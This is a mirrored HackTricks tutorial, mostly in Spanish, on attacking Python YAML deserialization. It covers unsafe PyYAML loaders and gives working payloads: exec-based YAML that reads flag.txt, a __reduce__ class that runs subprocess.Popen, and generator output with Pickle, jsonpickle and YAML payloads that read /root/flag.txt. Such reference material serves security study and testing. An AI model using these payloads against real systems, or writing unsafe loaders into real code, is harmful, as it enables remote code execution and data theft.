mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 22:20:43 +00:00
163 lines
7.6 KiB
Markdown
163 lines
7.6 KiB
Markdown
# Python Yaml Deserialization
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Yaml **Deserialization**
|
|
|
|
**Yaml** las bibliotecas de python también son capaces de **serializar objetos de python** y no solo datos en bruto:
|
|
```
|
|
print(yaml.dump(str("lol")))
|
|
lol
|
|
...
|
|
|
|
print(yaml.dump(tuple("lol")))
|
|
!!python/tuple
|
|
- l
|
|
- o
|
|
- l
|
|
|
|
print(yaml.dump(range(1,10)))
|
|
!!python/object/apply:builtins.range
|
|
- 1
|
|
- 10
|
|
- 1
|
|
```
|
|
Verifica cómo el **tuple** no es un tipo de dato bruto y, por lo tanto, fue **serializado**. Y lo mismo ocurrió con el **range** (tomado de los builtins).
|
|
|
|
![](<../../.gitbook/assets/image (1040).png>)
|
|
|
|
**safe\_load()** o **safe\_load\_all()** utiliza SafeLoader y **no soporta la deserialización de objetos de clase**. Ejemplo de deserialización de objetos de clase:
|
|
```python
|
|
import yaml
|
|
from yaml import UnsafeLoader, FullLoader, Loader
|
|
data = b'!!python/object/apply:builtins.range [1, 10, 1]'
|
|
|
|
print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
|
|
print(yaml.load(data, Loader=Loader)) #range(1, 10)
|
|
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
|
|
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
|
|
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
|
|
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
|
|
print(yaml.unsafe_load(data)) #range(1, 10)
|
|
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
|
|
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
|
|
|
|
#The other ways to load data will through an error as they won't even attempt to
|
|
#deserialize the python object
|
|
```
|
|
El código anterior utilizó **unsafe\_load** para cargar la clase de python serializada. Esto se debe a que en **versión >= 5.1**, no permite **deserializar ninguna clase de python serializada o atributo de clase**, sin un Loader especificado en load() o Loader=SafeLoader.
|
|
|
|
### Exploit Básico
|
|
|
|
Ejemplo de cómo **ejecutar un sleep**:
|
|
```python
|
|
import yaml
|
|
from yaml import UnsafeLoader, FullLoader, Loader
|
|
data = b'!!python/object/apply:time.sleep [2]'
|
|
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
|
|
print(yaml.load(data, Loader=Loader)) #Executed
|
|
print(yaml.load_all(data))
|
|
print(yaml.load_all(data, Loader=Loader))
|
|
print(yaml.load_all(data, Loader=UnsafeLoader))
|
|
print(yaml.load_all(data, Loader=FullLoader))
|
|
print(yaml.unsafe_load(data)) #Executed
|
|
print(yaml.full_load_all(data))
|
|
print(yaml.unsafe_load_all(data))
|
|
```
|
|
### Vulnerable .load("\<content>") without Loader
|
|
|
|
**Las versiones antiguas** de pyyaml eran vulnerables a ataques de deserialización si **no especificabas el Loader** al cargar algo: `yaml.load(data)`
|
|
|
|
Puedes encontrar la [**descripción de la vulnerabilidad aquí**](https://hackmd.io/@defund/HJZajCVlP)**.** La **explotación** propuesta en esa página es:
|
|
```yaml
|
|
!!python/object/new:str
|
|
state: !!python/tuple
|
|
- 'print(getattr(open("flag\x2etxt"), "read")())'
|
|
- !!python/object/new:Warning
|
|
state:
|
|
update: !!python/name:exec
|
|
```
|
|
O también podrías usar esta **línea única proporcionada por @ishaack**:
|
|
```yaml
|
|
!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}
|
|
```
|
|
Note que en **versiones recientes** ya no puede **llamar a `.load()`** **sin un `Loader`** y el **`FullLoader`** **ya no es vulnerable** a este ataque.
|
|
|
|
## RCE
|
|
|
|
Se pueden crear cargas útiles personalizadas utilizando módulos de Python YAML como **PyYAML** o **ruamel.yaml**. Estas cargas útiles pueden explotar vulnerabilidades en sistemas que deserializan entradas no confiables sin la debida sanitización.
|
|
```python
|
|
import yaml
|
|
from yaml import UnsafeLoader, FullLoader, Loader
|
|
import subprocess
|
|
|
|
class Payload(object):
|
|
def __reduce__(self):
|
|
return (subprocess.Popen,('ls',))
|
|
|
|
deserialized_data = yaml.dump(Payload()) # serializing data
|
|
print(deserialized_data)
|
|
|
|
#!!python/object/apply:subprocess.Popen
|
|
#- ls
|
|
|
|
print(yaml.load(deserialized_data, Loader=UnsafeLoader))
|
|
print(yaml.load(deserialized_data, Loader=Loader))
|
|
print(yaml.unsafe_load(deserialized_data))
|
|
```
|
|
### Herramienta para crear Payloads
|
|
|
|
La herramienta [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) se puede utilizar para generar payloads de deserialización en python para abusar de **Pickle, PyYAML, jsonpickle y ruamel.yaml:**
|
|
```bash
|
|
python3 peas.py
|
|
Enter RCE command :cat /root/flag.txt
|
|
Enter operating system of target [linux/windows] . Default is linux :linux
|
|
Want to base64 encode payload ? [N/y] :
|
|
Enter File location and name to save :/tmp/example
|
|
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
|
|
Done Saving file !!!!
|
|
|
|
cat /tmp/example_jspick
|
|
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}
|
|
|
|
cat /tmp/example_pick | base64 -w0
|
|
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==
|
|
|
|
cat /tmp/example_yaml
|
|
!!python/object/apply:subprocess.Popen
|
|
- !!python/tuple
|
|
- cat
|
|
- /root/flag.txt
|
|
```
|
|
### Referencias
|
|
|
|
* [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
|
|
* [https://net-square.com/yaml-deserialization-attack-in-python.html](https://net-square.com/yaml-deserialization-attack-in-python.html)
|
|
|
|
{% hint style="success" %}
|
|
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Apoya a HackTricks</summary>
|
|
|
|
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
|
|
|
</details>
|
|
{% endhint %}
|